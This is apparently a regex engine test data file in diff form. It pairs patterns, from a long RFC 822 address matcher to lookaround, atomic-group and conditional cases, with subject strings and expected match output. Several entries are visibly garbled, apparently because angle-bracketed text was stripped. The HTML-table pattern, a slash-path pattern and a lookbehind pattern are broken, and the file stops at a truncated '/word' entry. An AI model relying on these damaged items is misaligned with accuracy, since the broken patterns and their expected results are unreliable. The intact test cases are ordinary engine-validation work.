+\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +)* +(?: , +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +@ +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +)* +)* # additional domains +: +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +)? # optional route +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +# Atom +| # or +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +# Quoted string +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +# Atom +| # or +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +# Quoted string +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# additional words +)* +@ +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +)* +# address spec +> # > +# name and address +) +/x + Alan Other + 0: Alan Other + + 0: user@dom.ain + user\@dom.ain + 0: user@dom.ain + \"A. Other\" (a comment) + 0: "A. Other" + A. Other (a comment) + 0: Other + \"/s=user/ou=host/o=place/prmd=uu.yy/admd= /c=gb/\"\@x400-re.lay + 0: "/s=user/ou=host/o=place/prmd=uu.yy/admd= /c=gb/"@x400-re.lay + A missing angle ?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f + +/P[^*]TAIRE[^*]{1,6}?LL/ + xxxxxxxxxxxPSTAIREISLLxxxxxxxxx + 0: PSTAIREISLL + +/P[^*]TAIRE[^*]{1,}?LL/ + xxxxxxxxxxxPSTAIREISLLxxxxxxxxx + 0: PSTAIREISLL + +/(\.\d\d[1-9]?)\d+/ + 1.230003938 + 0: .230003938 + 1: .23 + 1.875000282 + 0: .875000282 + 1: .875 + 1.235 + 0: .235 + 1: .23 + +/(\.\d\d((?=0)|\d(?=\d)))/ + 1.230003938 + 0: .23 + 1: .23 + 2: + 1.875000282 + 0: .875 + 1: .875 + 2: 5 +\= Expect no match + 1.235 +No match + +/\b(foo)\s+(\w+)/i + Food is on the foo table + 0: foo table + 1: foo + 2: table + +/foo(.*)bar/ + The food is under the bar in the barn. + 0: food is under the bar in the bar + 1: d is under the bar in the + +/foo(.*?)bar/ + The food is under the bar in the barn. + 0: food is under the bar + 1: d is under the + +/(.*)(\d*)/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: 53147 + 2: + +/(.*)(\d+)/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: 5314 + 2: 7 + +/(.*?)(\d*)/ + I have 2 numbers: 53147 + 0: + 1: + 2: + +/(.*?)(\d+)/ + I have 2 numbers: 53147 + 0: I have 2 + 1: I have + 2: 2 + +/(.*)(\d+)$/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: 5314 + 2: 7 + +/(.*?)(\d+)$/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: + 2: 53147 + +/(.*)\b(\d+)$/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: + 2: 53147 + +/(.*\D)(\d+)$/ + I have 2 numbers: 53147 + 0: I have 2 numbers: 53147 + 1: I have 2 numbers: + 2: 53147 + +/^\D*(?!123)/ + ABC123 + 0: AB + +/^(\D*)(?=\d)(?!123)/ + ABC445 + 0: ABC + 1: ABC +\= Expect no match + ABC123 +No match + +/^[W-]46]/ + W46]789 + 0: W46] + -46]789 + 0: -46] +\= Expect no match + Wall +No match + Zebra +No match + 42 +No match + [abcd] +No match + ]abcd[ +No match + +/^[W-\]46]/ + W46]789 + 0: W + Wall + 0: W + Zebra + 0: Z + Xylophone + 0: X + 42 + 0: 4 + [abcd] + 0: [ + ]abcd[ + 0: ] + \\backslash + 0: \ +\= Expect no match + -46]789 +No match + well +No match + +/\d\d\/\d\d\/\d\d\d\d/ + 01/01/2000 + 0: 01/01/2000 + +/word (?:[a-zA-Z0-9]+ ){0,10}otherword/ + word cat dog elephant mussel cow horse canary baboon snake shark otherword + 0: word cat dog elephant mussel cow horse canary baboon snake shark otherword +\= Expect no match + word cat dog elephant mussel cow horse canary baboon snake shark +No match + +/word (?:[a-zA-Z0-9]+ ){0,300}otherword/ +\= Expect no match + word cat dog elephant mussel cow horse canary baboon snake shark the quick brown fox and the lazy dog and several other words getting close to thirty by now I hope +No match + +/^(a){0,0}/ + bcd + 0: + abc + 0: + aab + 0: + +/^(a){0,1}/ + bcd + 0: + abc + 0: a + 1: a + aab + 0: a + 1: a + +/^(a){0,2}/ + bcd + 0: + abc + 0: a + 1: a + aab + 0: aa + 1: a + +/^(a){0,3}/ + bcd + 0: + abc + 0: a + 1: a + aab + 0: aa + 1: a + aaa + 0: aaa + 1: a + +/^(a){0,}/ + bcd + 0: + abc + 0: a + 1: a + aab + 0: aa + 1: a + aaa + 0: aaa + 1: a + aaaaaaaa + 0: aaaaaaaa + 1: a + +/^(a){1,1}/ + abc + 0: a + 1: a + aab + 0: a + 1: a +\= Expect no match + bcd +No match + +/^(a){1,2}/ + abc + 0: a + 1: a + aab + 0: aa + 1: a +\= Expect no match + bcd +No match + +/^(a){1,3}/ + abc + 0: a + 1: a + aab + 0: aa + 1: a + aaa + 0: aaa + 1: a +\= Expect no match + bcd +No match + +/^(a){1,}/ + abc + 0: a + 1: a + aab + 0: aa + 1: a + aaa + 0: aaa + 1: a + aaaaaaaa + 0: aaaaaaaa + 1: a +\= Expect no match + bcd +No match + +/.*\.gif/ + borfle\nbib.gif\nno + 0: bib.gif + +/.{0,}\.gif/ + borfle\nbib.gif\nno + 0: bib.gif + +/.*\.gif/m + borfle\nbib.gif\nno + 0: bib.gif + +/.*\.gif/s + borfle\nbib.gif\nno + 0: borfle\x0abib.gif + +/.*\.gif/ms + borfle\nbib.gif\nno + 0: borfle\x0abib.gif + +/.*$/ + borfle\nbib.gif\nno + 0: no + +/.*$/m + borfle\nbib.gif\nno + 0: borfle + +/.*$/s + borfle\nbib.gif\nno + 0: borfle\x0abib.gif\x0ano + +/.*$/ms + borfle\nbib.gif\nno + 0: borfle\x0abib.gif\x0ano + +/.*$/ + borfle\nbib.gif\nno\n + 0: no + +/.*$/m + borfle\nbib.gif\nno\n + 0: borfle + +/.*$/s + borfle\nbib.gif\nno\n + 0: borfle\x0abib.gif\x0ano\x0a + +/.*$/ms + borfle\nbib.gif\nno\n + 0: borfle\x0abib.gif\x0ano\x0a + +/(.*X|^B)/ + abcde\n1234Xyz + 0: 1234X + 1: 1234X + BarFoo + 0: B + 1: B +\= Expect no match + abcde\nBar +No match + +/(.*X|^B)/m + abcde\n1234Xyz + 0: 1234X + 1: 1234X + BarFoo + 0: B + 1: B + abcde\nBar + 0: B + 1: B + +/(.*X|^B)/s + abcde\n1234Xyz + 0: abcde\x0a1234X + 1: abcde\x0a1234X + BarFoo + 0: B + 1: B +\= Expect no match + abcde\nBar +No match + +/(.*X|^B)/ms + abcde\n1234Xyz + 0: abcde\x0a1234X + 1: abcde\x0a1234X + BarFoo + 0: B + 1: B + abcde\nBar + 0: B + 1: B + +/(?s)(.*X|^B)/ + abcde\n1234Xyz + 0: abcde\x0a1234X + 1: abcde\x0a1234X + BarFoo + 0: B + 1: B +\= Expect no match + abcde\nBar +No match + +/(?s:.*X|^B)/ + abcde\n1234Xyz + 0: abcde\x0a1234X + BarFoo + 0: B +\= Expect no match + abcde\nBar +No match + +/^.*B/ +\= Expect no match + abc\nB +No match + +/(?s)^.*B/ + abc\nB + 0: abc\x0aB + +/(?m)^.*B/ + abc\nB + 0: B + +/(?ms)^.*B/ + abc\nB + 0: abc\x0aB + +/(?ms)^B/ + abc\nB + 0: B + +/(?s)B$/ + B\n + 0: B + +/^[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/ + 123456654321 + 0: 123456654321 + +/^\d\d\d\d\d\d\d\d\d\d\d\d/ + 123456654321 + 0: 123456654321 + +/^[\d][\d][\d][\d][\d][\d][\d][\d][\d][\d][\d][\d]/ + 123456654321 + 0: 123456654321 + +/^[abc]{12}/ + abcabcabcabc + 0: abcabcabcabc + +/^[a-c]{12}/ + abcabcabcabc + 0: abcabcabcabc + +/^(a|b|c){12}/ + abcabcabcabc + 0: abcabcabcabc + 1: c + +/^[abcdefghijklmnopqrstuvwxy0123456789]/ + n + 0: n +\= Expect no match + z +No match + +/abcde{0,0}/ + abcd + 0: abcd +\= Expect no match + abce +No match + +/ab[cd]{0,0}e/ + abe + 0: abe +\= Expect no match + abcde +No match + +/ab(c){0,0}d/ + abd + 0: abd +\= Expect no match + abcd +No match + +/a(b*)/ + a + 0: a + 1: + ab + 0: ab + 1: b + abbbb + 0: abbbb + 1: bbbb +\= Expect no match + bbbbb +No match + +/ab\d{0}e/ + abe + 0: abe +\= Expect no match + ab1e +No match + +/"([^\\"]+|\\.)*"/ + the \"quick\" brown fox + 0: "quick" + 1: quick + \"the \\\"quick\\\" brown fox\" + 0: "the \"quick\" brown fox" + 1: brown fox + +/]{0,})>]{0,})>([\d]{0,}\.)(.*)((
([\w\W\s\d][^<>]{0,})|[\s]{0,}))<\/a><\/TD>]{0,})>([\w\W\s\d][^<>]{0,})<\/TD>]{0,})>([\w\W\s\d][^<>]{0,})<\/TD><\/TR>/is + 43.Word Processor
(N-1286)
Lega lstaff.comCA - Statewide + 0: 43.Word Processor
(N-1286)
Lega lstaff.comCA - Statewide + 1: BGCOLOR='#DBE9E9' + 2: align=left valign=top + 3: 43. + 4: Word Processor
(N-1286) + 5: + 6: + 7: + 8: align=left valign=top + 9: Lega lstaff.com +10: align=left valign=top +11: CA - Statewide + +/a[^a]b/ + acb + 0: acb + a\nb + 0: a\x0ab + +/a.b/ + acb + 0: acb +\= Expect no match + a\nb +No match + +/a[^a]b/s + acb + 0: acb + a\nb + 0: a\x0ab + +/a.b/s + acb + 0: acb + a\nb + 0: a\x0ab + +/^(b+?|a){1,2}?c/ + bac + 0: bac + 1: a + bbac + 0: bbac + 1: a + bbbac + 0: bbbac + 1: a + bbbbac + 0: bbbbac + 1: a + bbbbbac + 0: bbbbbac + 1: a + +/^(b+|a){1,2}?c/ + bac + 0: bac + 1: a + bbac + 0: bbac + 1: a + bbbac + 0: bbbac + 1: a + bbbbac + 0: bbbbac + 1: a + bbbbbac + 0: bbbbbac + 1: a + +/(?!\A)x/m + a\bx\n + 0: x + a\nx\n + 0: x +\= Expect no match + x\nb\n +No match + +/(A|B)*?CD/ + CD + 0: CD + +/(A|B)*CD/ + CD + 0: CD + +/(AB)*?\1/ + ABABAB + 0: ABAB + 1: AB + +/(AB)*\1/ + ABABAB + 0: ABABAB + 1: AB + +/(?.*/)foo" + /this/is/a/very/long/line/in/deed/with/very/many/slashes/in/and/foo + 0: /this/is/a/very/long/line/in/deed/with/very/many/slashes/in/and/foo +\= Expect no match + /this/is/a/very/long/line/in/deed/with/very/many/slashes/in/it/you/see/ +No match + +/(?>(\.\d\d[1-9]?))\d+/ + 1.230003938 + 0: .230003938 + 1: .23 + 1.875000282 + 0: .875000282 + 1: .875 +\= Expect no match + 1.235 +No match + +/^((?>\w+)|(?>\s+))*$/ + now is the time for all good men to come to the aid of the party + 0: now is the time for all good men to come to the aid of the party + 1: party +\= Expect no match + this is not a line with only words and spaces! +No match + +/(\d+)(\w)/ + 12345a + 0: 12345a + 1: 12345 + 2: a + 12345+ + 0: 12345 + 1: 1234 + 2: 5 + +/((?>\d+))(\w)/ + 12345a + 0: 12345a + 1: 12345 + 2: a +\= Expect no match + 12345+ +No match + +/(?>a+)b/ + aaab + 0: aaab + +/((?>a+)b)/ + aaab + 0: aaab + 1: aaab + +/(?>(a+))b/ + aaab + 0: aaab + 1: aaa + +/(?>b)+/ + aaabbbccc + 0: bbb + +/(?>a+|b+|c+)*c/ + aaabbbbccccd + 0: aaabbbbc + +/((?>[^()]+)|\([^()]*\))+/ + ((abc(ade)ufh()()x + 0: abc(ade)ufh()()x + 1: x + +/\(((?>[^()]+)|\([^()]+\))+\)/ + (abc) + 0: (abc) + 1: abc + (abc(def)xyz) + 0: (abc(def)xyz) + 1: xyz +\= Expect no match + ((()aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +No match + +/a(?-i)b/i + ab + 0: ab + Ab + 0: Ab +\= Expect no match + aB +No match + AB +No match + +/(a (?x)b c)d e/ + a bcd e + 0: a bcd e + 1: a bc +\= Expect no match + a b cd e +No match + abcd e +No match + a bcde +No match + +/(a b(?x)c d (?-x)e f)/ + a bcde f + 0: a bcde f + 1: a bcde f +\= Expect no match + abcdef +No match + +/(a(?i)b)c/ + abc + 0: abc + 1: ab + aBc + 0: aBc + 1: aB +\= Expect no match + abC +No match + aBC +No match + Abc +No match + ABc +No match + ABC +No match + AbC +No match + +/a(?i:b)c/ + abc + 0: abc + aBc + 0: aBc +\= Expect no match + ABC +No match + abC +No match + aBC +No match + +/a(?i:b)*c/ + aBc + 0: aBc + aBBc + 0: aBBc +\= Expect no match + aBC +No match + aBBC +No match + +/a(?=b(?i)c)\w\wd/ + abcd + 0: abcd + abCd + 0: abCd +\= Expect no match + aBCd +No match + abcD +No match + +/(?s-i:more.*than).*million/i + more than million + 0: more than million + more than MILLION + 0: more than MILLION + more \n than Million + 0: more \x0a than Million +\= Expect no match + MORE THAN MILLION +No match + more \n than \n million +No match + +/(?:(?s-i)more.*than).*million/i + more than million + 0: more than million + more than MILLION + 0: more than MILLION + more \n than Million + 0: more \x0a than Million +\= Expect no match + MORE THAN MILLION +No match + more \n than \n million +No match + +/(?>a(?i)b+)+c/ + abc + 0: abc + aBbc + 0: aBbc + aBBc + 0: aBBc +\= Expect no match + Abc +No match + abAb +No match + abbC +No match + +/(?=a(?i)b)\w\wc/ + abc + 0: abc + aBc + 0: aBc +\= Expect no match + Ab +No match + abC +No match + aBC +No match + +/(?<=a(?i)b)(\w\w)c/ + abxxc + 0: xxc + 1: xx + aBxxc + 0: xxc + 1: xx +\= Expect no match + Abxxc +No match + ABxxc +No match + abxxC +No match + +/(?:(a)|b)(?(1)A|B)/ + aA + 0: aA + 1: a + bB + 0: bB +\= Expect no match + aB +No match + bA +No match + +/^(a)?(?(1)a|b)+$/ + aa + 0: aa + 1: a + b + 0: b + bb + 0: bb +\= Expect no match + ab +No match + +# Perl gets this next one wrong if the pattern ends with $; in that case it +# fails to match "12". + +/^(?(?=abc)\w{3}:|\d\d)/ + abc: + 0: abc: + 12 + 0: 12 + 123 + 0: 12 +\= Expect no match + xyz +No match + +/^(?(?!abc)\d\d|\w{3}:)$/ + abc: + 0: abc: + 12 + 0: 12 +\= Expect no match + 123 +No match + xyz +No match + +/(?(?<=foo)bar|cat)/ + foobar + 0: bar + cat + 0: cat + fcat + 0: cat + focat + 0: cat +\= Expect no match + foocat +No match + +/(?(?a*)*/ + a + 0: a + aa + 0: aa + aaaa + 0: aaaa + +/(abc|)+/ + abc + 0: abc + 1: + abcabc + 0: abcabc + 1: + abcabcabc + 0: abcabcabc + 1: + xyz + 0: + 1: + +/([a]*)*/ + a + 0: a + 1: + aaaaa + 0: aaaaa + 1: + +/([ab]*)*/ + a + 0: a + 1: + b + 0: b + 1: + ababab + 0: ababab + 1: + aaaabcde + 0: aaaab + 1: + bbbb + 0: bbbb + 1: + +/([^a]*)*/ + b + 0: b + 1: + bbbb + 0: bbbb + 1: + aaa + 0: + 1: + +/([^ab]*)*/ + cccc + 0: cccc + 1: + abab + 0: + 1: + +/([a]*?)*/ + a + 0: + 1: + aaaa + 0: + 1: + +/([ab]*?)*/ + a + 0: + 1: + b + 0: + 1: + abab + 0: + 1: + baba + 0: + 1: + +/([^a]*?)*/ + b + 0: + 1: + bbbb + 0: + 1: + aaa + 0: + 1: + +/([^ab]*?)*/ + c + 0: + 1: + cccc + 0: + 1: + baba + 0: + 1: + +/(?>a*)*/ + a + 0: a + aaabcde + 0: aaa + +/((?>a*))*/ + aaaaa + 0: aaaaa + 1: + aabbaa + 0: aa + 1: + +/((?>a*?))*/ + aaaaa + 0: + 1: + aabbaa + 0: + 1: + +/(?(?=[^a-z]+[a-z]) \d{2}-[a-z]{3}-\d{2} | \d{2}-\d{2}-\d{2} ) /x + 12-sep-98 + 0: 12-sep-98 + 12-09-98 + 0: 12-09-98 +\= Expect no match + sep-12-98 +No match + +/(?<=(foo))bar\1/ + foobarfoo + 0: barfoo + 1: foo + foobarfootling + 0: barfoo + 1: foo +\= Expect no match + foobar +No match + barfoo +No match + +/(?i:saturday|sunday)/ + saturday + 0: saturday + sunday + 0: sunday + Saturday + 0: Saturday + Sunday + 0: Sunday + SATURDAY + 0: SATURDAY + SUNDAY + 0: SUNDAY + SunDay + 0: SunDay + +/(a(?i)bc|BB)x/ + abcx + 0: abcx + 1: abc + aBCx + 0: aBCx + 1: aBC + bbx + 0: bbx + 1: bb + BBx + 0: BBx + 1: BB +\= Expect no match + abcX +No match + aBCX +No match + bbX +No match + BBX +No match + +/^([ab](?i)[cd]|[ef])/ + ac + 0: ac + 1: ac + aC + 0: aC + 1: aC + bD + 0: bD + 1: bD + elephant + 0: e + 1: e + Europe + 0: E + 1: E + frog + 0: f + 1: f + France + 0: F + 1: F +\= Expect no match + Africa +No match + +/^(ab|a(?i)[b-c](?m-i)d|x(?i)y|z)/ + ab + 0: ab + 1: ab + aBd + 0: aBd + 1: aBd + xy + 0: xy + 1: xy + xY + 0: xY + 1: xY + zebra + 0: z + 1: z + Zambesi + 0: Z + 1: Z +\= Expect no match + aCD +No match + XY +No match + +/(?<=foo\n)^bar/m + foo\nbar + 0: bar +\= Expect no match + bar +No match + baz\nbar +No match + +/(?<=(?]&/ + <&OUT + 0: <& + +/^(a\1?){4}$/ + aaaaaaaaaa + 0: aaaaaaaaaa + 1: aaaa +\= Expect no match + AB +No match + aaaaaaaaa +No match + aaaaaaaaaaa +No match + +/^(a(?(1)\1)){4}$/ + aaaaaaaaaa + 0: aaaaaaaaaa + 1: aaaa +\= Expect no match + aaaaaaaaa +No match + aaaaaaaaaaa +No match + +/(?:(f)(o)(o)|(b)(a)(r))*/ + foobar + 0: foobar + 1: f + 2: o + 3: o + 4: b + 5: a + 6: r + +/(?<=a)b/ + ab + 0: b +\= Expect no match + cb +No match + b +No match + +/(? + 2: abcd + xy:z:::abcd + 0: xy:z:::abcd + 1: xy:z::: + 2: abcd + +/^[^bcd]*(c+)/ + aexycd + 0: aexyc + 1: c + +/(a*)b+/ + caab + 0: aab + 1: aa + +/([\w:]+::)?(\w+)$/ + abcd + 0: abcd + 1: + 2: abcd + xy:z:::abcd + 0: xy:z:::abcd + 1: xy:z::: + 2: abcd +\= Expect no match + abcd: +No match + abcd: +No match + +/^[^bcd]*(c+)/ + aexycd + 0: aexyc + 1: c + +/(>a+)ab/ + +/(?>a+)b/ + aaab + 0: aaab + +/([[:]+)/ + a:[b]: + 0: :[ + 1: :[ + +/([[=]+)/ + a=[b]= + 0: =[ + 1: =[ + +/([[.]+)/ + a.[b]. + 0: .[ + 1: .[ + +/((?>a+)b)/ + aaab + 0: aaab + 1: aaab + +/(?>(a+))b/ + aaab + 0: aaab + 1: aaa + +/((?>[^()]+)|\([^()]*\))+/ + ((abc(ade)ufh()()x + 0: abc(ade)ufh()()x + 1: x + +/a\Z/ +\= Expect no match + aaab +No match + a\nb\n +No match + +/b\Z/ + a\nb\n + 0: b + +/b\z/ + +/b\Z/ + a\nb + 0: b + +/b\z/ + a\nb + 0: b + +/^(?>(?(1)\.|())[^\W_](?>[a-z0-9-]*[^\W_])?)+$/ + a + 0: a + 1: + abc + 0: abc + 1: + a-b + 0: a-b + 1: + 0-9 + 0: 0-9 + 1: + a.b + 0: a.b + 1: + 5.6.7 + 0: 5.6.7 + 1: + the.quick.brown.fox + 0: the.quick.brown.fox + 1: + a100.b200.300c + 0: a100.b200.300c + 1: + 12-ab.1245 + 0: 12-ab.1245 + 1: +\= Expect no match + \ +No match + .a +No match + -a +No match + a- +No match + a. +No match + a_b +No match + a.- +No match + a.. +No match + ab..bc +No match + the.quick.brown.fox- +No match + the.quick.brown.fox. +No match + the.quick.brown.fox_ +No match + the.quick.brown.fox+ +No match + +/(?>.*)(?<=(abcd|wxyz))/ + alphabetabcd + 0: alphabetabcd + 1: abcd + endingwxyz + 0: endingwxyz + 1: wxyz +\= Expect no match + a rather long string that doesn't end with one of them +No match + +/word 